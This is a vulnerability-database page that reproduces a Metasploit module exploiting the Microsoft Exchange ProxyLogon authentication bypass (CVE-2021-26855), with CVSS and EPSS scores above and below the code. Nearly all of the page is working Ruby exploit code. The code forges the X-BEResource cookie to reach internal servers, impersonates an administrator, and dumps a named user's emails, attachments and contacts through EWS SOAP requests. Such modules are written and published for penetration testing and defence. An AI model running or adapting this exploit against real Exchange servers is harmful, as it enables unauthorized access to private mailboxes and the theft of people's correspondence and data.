Lucene search

K
packetstormOrange Tsai, mekhalleh, GreyOrder, metasploit.comPACKETSTORM:180640
HistoryAug 31, 2024 - 12:00 a.m.

Microsoft Exchange ProxyLogon Collector

2024-08-3100:00:00
Orange Tsai, mekhalleh, GreyOrder, metasploit.com
packetstormsecurity.com
35
microsoft exchange
proxylogon
vulnerability
authentication bypass
impersonation
mailboxes
exchange 2013
exchange 2016
exchange 2019

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

AI Score

7.6

Confidence

Low

EPSS

0.975

Percentile

100.0%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
# begin auxiliary class  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Exchange ProxyLogon Collector',  
'Description' => %q{  
This module exploit a vulnerability on Microsoft Exchange Server that  
allows an attacker bypassing the authentication and impersonating as the  
admin (CVE-2021-26855).  
  
By taking advantage of this vulnerability, it is possible to dump all  
mailboxes (emails, attachments, contacts, ...).  
  
This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,  
Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,  
Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).  
  
All components are vulnerable by default.  
},  
'Author' => [  
'Orange Tsai', # Discovery (Officially acknowledged by MSRC)  
'GreyOrder', # PoC (https://github.com/GreyOrder)  
'mekhalleh (RAMELLA Sébastien)' # Module author independent researcher (work at Zeop Entreprise)  
],  
'References' => [  
['CVE', '2021-26855'],  
['LOGO', 'https://proxylogon.com/images/logo.jpg'],  
['URL', 'https://proxylogon.com/'],  
['URL', 'https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/'],  
['URL', 'https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/distinguishedfolderid'],  
['URL', 'https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py']  
],  
'DisclosureDate' => '2021-03-02',  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Actions' => [  
[  
'Dump (Contacts)', {  
'Description' => 'Dump user contacts from exchange server',  
'id_attribute' => 'contacts'  
}  
],  
[  
'Dump (Emails)', {  
'Description' => 'Dump user emails from exchange server'  
}  
]  
],  
'DefaultAction' => 'Dump (Emails)',  
'Notes' => {  
'AKA' => ['ProxyLogon'],  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptBool.new('ATTACHMENTS', [true, 'Dump documents attached to an email', true]),  
OptString.new('EMAIL', [true, 'The email account what you want dump']),  
OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),  
OptEnum.new('METHOD', [true, 'HTTP Method to use for the check (only).', 'POST', ['GET', 'POST']]),  
OptString.new('TARGET', [false, 'Force the name of the internal Exchange server targeted'])  
])  
  
register_advanced_options([  
OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 2147483647])  
])  
end  
  
XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze  
  
def dump_contacts(server_name)  
ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"  
  
response = send_xml('POST', ssrf, soap_countitems(action['id_attribute']))  
if response.body =~ /Success/  
print_good("Successfully connected to: #{action['id_attribute']}")  
xml = Nokogiri::XML.parse(response.body)  
  
folder_id = xml.at_xpath('//t:ContactsFolder/t:FolderId', XMLNS)&.values&.at(0)  
print_status("Selected folder: #{action['id_attribute']} (#{folder_id})")  
  
total_count = xml.at_xpath('//t:ContactsFolder/t:TotalCount', XMLNS)&.content  
print_status("Number of contact found: #{total_count}")  
  
if total_count.to_i > datastore['MaxEntries']  
print_warning("Number of contact recalculated due to max entries: #{datastore['MaxEntries']}")  
total_count = datastore['MaxEntries'].to_s  
end  
  
response = send_xml('POST', ssrf, soap_listitems(action['id_attribute'], total_count))  
xml = Nokogiri::XML.parse(response.body)  
  
print_status(message("Processing dump of #{total_count} items"))  
data = xml.xpath('//t:Items/t:Contact', XMLNS)  
if data.empty?  
print_status('The user has no contacts')  
else  
write_loot("#{datastore['EMAIL']}_#{action['id_attribute']}", data.to_s)  
end  
end  
end  
  
def dump_emails(server_name)  
ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"  
  
response = send_xml('POST', ssrf, soap_countitems(datastore['FOLDER']))  
if response.body =~ /Success/  
print_good("Successfully connected to: #{datastore['FOLDER']}")  
xml = Nokogiri::XML.parse(response.body)  
  
folder_id = xml.at_xpath('//t:Folder/t:FolderId', XMLNS)&.values&.at(0)  
print_status("Selected folder: #{datastore['FOLDER']} (#{folder_id})")  
  
total_count = xml.at_xpath('//t:Folder/t:TotalCount', XMLNS)&.content  
print_status("Number of email found: #{total_count}")  
  
if total_count.to_i > datastore['MaxEntries']  
print_warning("Number of email recalculated due to max entries: #{datastore['MaxEntries']}")  
total_count = datastore['MaxEntries'].to_s  
end  
  
print_status(message("Processing dump of #{total_count} items"))  
download_items(total_count, ssrf)  
end  
end  
  
def download_attachments(item_id, ssrf)  
response = send_xml('POST', ssrf, soap_listattachments(item_id))  
xml = Nokogiri::XML.parse(response.body)  
  
xml.xpath('//t:Message/t:Attachments/t:FileAttachment', XMLNS).each do |item|  
item_id = item.at_xpath('./t:AttachmentId', XMLNS)&.values&.at(0)  
  
response = send_xml('POST', ssrf, soap_downattachment(item_id))  
data = Nokogiri::XML.parse(response.body)  
  
filename = data.at_xpath('//t:FileAttachment/t:Name', XMLNS)&.content  
ctype = data.at_xpath('//t:FileAttachment/t:ContentType', XMLNS)&.content  
content = data.at_xpath('//t:FileAttachment/t:Content', XMLNS)&.content  
  
print_status(" -> attachment: #{item_id} (#{filename})")  
write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(content), filename, ctype)  
end  
end  
  
def download_items(total_count, ssrf)  
response = send_xml('POST', ssrf, soap_listitems(datastore['FOLDER'], total_count))  
xml = Nokogiri::XML.parse(response.body)  
  
xml.xpath('//t:Items/t:Message', XMLNS).each do |item|  
item_info = item.at_xpath('./t:ItemId', XMLNS)&.values  
next if item_info.nil?  
  
print_status("Download item: #{item_info[1]}")  
  
response = send_xml('POST', ssrf, soap_downitem(item_info[0], item_info[1]))  
data = Nokogiri::XML.parse(response.body)  
  
email = data.at_xpath('//t:Message/t:MimeContent', XMLNS)&.content  
write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(email))  
  
attachments = item.at_xpath('./t:HasAttachments', XMLNS)&.content  
if datastore['ATTACHMENTS'] && attachments == 'true'  
download_attachments(item_info[0], ssrf)  
end  
print_status  
end  
end  
  
def message(msg)  
"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"  
end  
  
def random_ssrf_id  
# https://en.wikipedia.org/wiki/2,147,483,647 (lol)  
# max. 2147483647  
rand(1941962752..2147483647)  
end  
  
def request_autodiscover(server_name)  
xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }  
  
response = send_xml('POST', "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}", soap_autodiscover)  
  
case response.body  
when %r{<ErrorCode>500</ErrorCode>}  
fail_with(Failure::NotFound, 'No Autodiscover information was found')  
when %r{<Action>redirectAddr</Action>}  
fail_with(Failure::NotFound, 'No email address was found')  
end  
  
xml = Nokogiri::XML.parse(response.body)  
  
legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content  
fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.blank?  
  
server = ''  
owa_urls = []  
xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|  
type = item.at_xpath('./xmlns:Type', xmlns)&.content  
if type == 'EXCH'  
server = item.at_xpath('./xmlns:Server', xmlns)&.content  
end  
  
next unless type == 'WEB'  
  
item.xpath('./xmlns:Internal/xmlns:OWAUrl', xmlns).each do |owa_url|  
owa_urls << owa_url.content  
end  
end  
fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?  
fail_with(Failure::NotFound, 'No \'OWAUrl\' was found') if owa_urls.empty?  
  
return([server, legacy_dn, owa_urls])  
end  
  
def send_http(method, ssrf, data: '', ctype: 'application/x-www-form-urlencoded')  
request = {  
'method' => method,  
'uri' => @random_uri,  
'cookie' => "X-BEResource=#{ssrf};",  
'ctype' => ctype  
}  
request = request.merge({ 'data' => data }) unless data.empty?  
  
received = send_request_cgi(request)  
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received  
  
received  
end  
  
def send_xml(method, ssrf, data, ctype: 'text/xml; charset=utf-8')  
send_http(method, ssrf, data: data, ctype: ctype)  
end  
  
def soap_autodiscover  
<<~SOAP  
<?xml version="1.0" encoding="utf-8"?>  
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">  
<Request>  
<EMailAddress>#{datastore['EMAIL']}</EMailAddress>  
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>  
</Request>  
</Autodiscover>  
SOAP  
end  
  
def soap_countitems(folder_id)  
<<~SOAP  
<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"  
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"  
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<m:GetFolder>  
<m:FolderShape>  
<t:BaseShape>Default</t:BaseShape>  
</m:FolderShape>  
<m:FolderIds>  
<t:DistinguishedFolderId Id="#{folder_id}">  
<t:Mailbox>  
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>  
</t:Mailbox>  
</t:DistinguishedFolderId>  
</m:FolderIds>  
</m:GetFolder>  
</soap:Body>  
</soap:Envelope>  
SOAP  
end  
  
def soap_listattachments(item_id)  
<<~SOAP  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"  
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"  
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<m:GetItem>  
<m:ItemShape>  
<t:BaseShape>IdOnly</t:BaseShape>  
<t:AdditionalProperties>  
<t:FieldURI FieldURI="item:Attachments" />  
</t:AdditionalProperties>  
</m:ItemShape>  
<m:ItemIds>  
<t:ItemId Id="#{item_id}" />  
</m:ItemIds>  
</m:GetItem>  
</soap:Body>  
</soap:Envelope>  
SOAP  
end  
  
def soap_listitems(folder_id, max_entries)  
<<~SOAP  
<?xml version='1.0' encoding='utf-8'?>  
<soap:Envelope  
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'  
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'  
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'  
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>  
<soap:Body>  
<m:FindItem Traversal='Shallow'>  
<m:ItemShape>  
<t:BaseShape>AllProperties</t:BaseShape>  
</m:ItemShape>  
<m:IndexedPageItemView MaxEntriesReturned="#{max_entries}" Offset="0" BasePoint="Beginning" />  
<m:ParentFolderIds>  
<t:DistinguishedFolderId Id='#{folder_id}'>  
<t:Mailbox>  
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>  
</t:Mailbox>  
</t:DistinguishedFolderId>  
</m:ParentFolderIds>  
</m:FindItem>  
</soap:Body>  
</soap:Envelope>  
SOAP  
end  
  
def soap_downattachment(item_id)  
<<~SOAP  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"  
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"  
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<m:GetAttachment>  
<m:AttachmentIds>  
<t:AttachmentId Id="#{item_id}" />  
</m:AttachmentIds>  
</m:GetAttachment>  
</soap:Body>  
</soap:Envelope>  
SOAP  
end  
  
def soap_downitem(id, change_key)  
<<~SOAP  
<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"  
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"  
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<m:GetItem>  
<m:ItemShape>  
<t:BaseShape>IdOnly</t:BaseShape>  
<t:IncludeMimeContent>true</t:IncludeMimeContent>  
</m:ItemShape>  
<m:ItemIds>  
<t:ItemId Id="#{id}" ChangeKey="#{change_key}" />  
</m:ItemIds>  
</m:GetItem>  
</soap:Body>  
</soap:Envelope>  
SOAP  
end  
  
def write_loot(type, data, name = '', ctype = 'text/plain')  
loot_path = store_loot(type, ctype, datastore['RHOSTS'], data, name, '')  
print_good("File saved to #{loot_path}")  
end  
  
def run  
@proto = (ssl ? 'https' : 'http')  
@random_uri = normalize_uri('ecp', "#{Rex::Text.rand_text_alpha(1..3)}.js")  
  
print_status(message('Attempt to exploit for CVE-2021-26855'))  
  
# request for internal server name.  
response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}")  
if response.code != 500 || !response.headers.to_s.include?('X-FEServer')  
fail_with(Failure::NotFound, 'No \'X-FEServer\' was found')  
end  
server_name = response.headers['X-FEServer']  
print_status("Internal server name (#{server_name})")  
  
# get information by autodiscover request.  
print_status(message('Sending autodiscover request'))  
server_id, legacy_dn, owa_urls = request_autodiscover(server_name)  
  
print_status("Server: #{server_id}")  
print_status("LegacyDN: #{legacy_dn}")  
print_status("Internal target(s): #{owa_urls.join(', ')}")  
  
# selecting target  
print_status(message('Selecting the first internal server to respond'))  
if datastore['TARGET'].nil? || datastore['TARGET'].empty?  
target = ''  
owa_urls.each do |url|  
host = url.split('://')[1].split('.')[0].downcase  
next unless host != server_name.downcase  
  
response = send_http('GET', "#{host}/EWS/Exchange.asmx?a=~#{random_ssrf_id}")  
next unless response.code == 200  
  
target = host  
print_good("Targeting internal: #{url}")  
  
break  
end  
fail_with(Failure::NotFound, 'No internal target was found') if target.empty?  
else  
target = datastore['TARGET']  
print_good("Targeting internal forced to: #{target}")  
end  
  
# run action  
case action.name  
when /Dump \(Contacts\)/  
print_status(message("Attempt to dump contacts for <#{datastore['EMAIL']}>"))  
dump_contacts(target)  
when /Dump \(Emails\)/  
print_status(message("Attempt to dump emails for <#{datastore['EMAIL']}>"))  
dump_emails(target)  
end  
end  
  
end  
`

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

AI Score

7.6

Confidence

Low

EPSS

0.975

Percentile

100.0%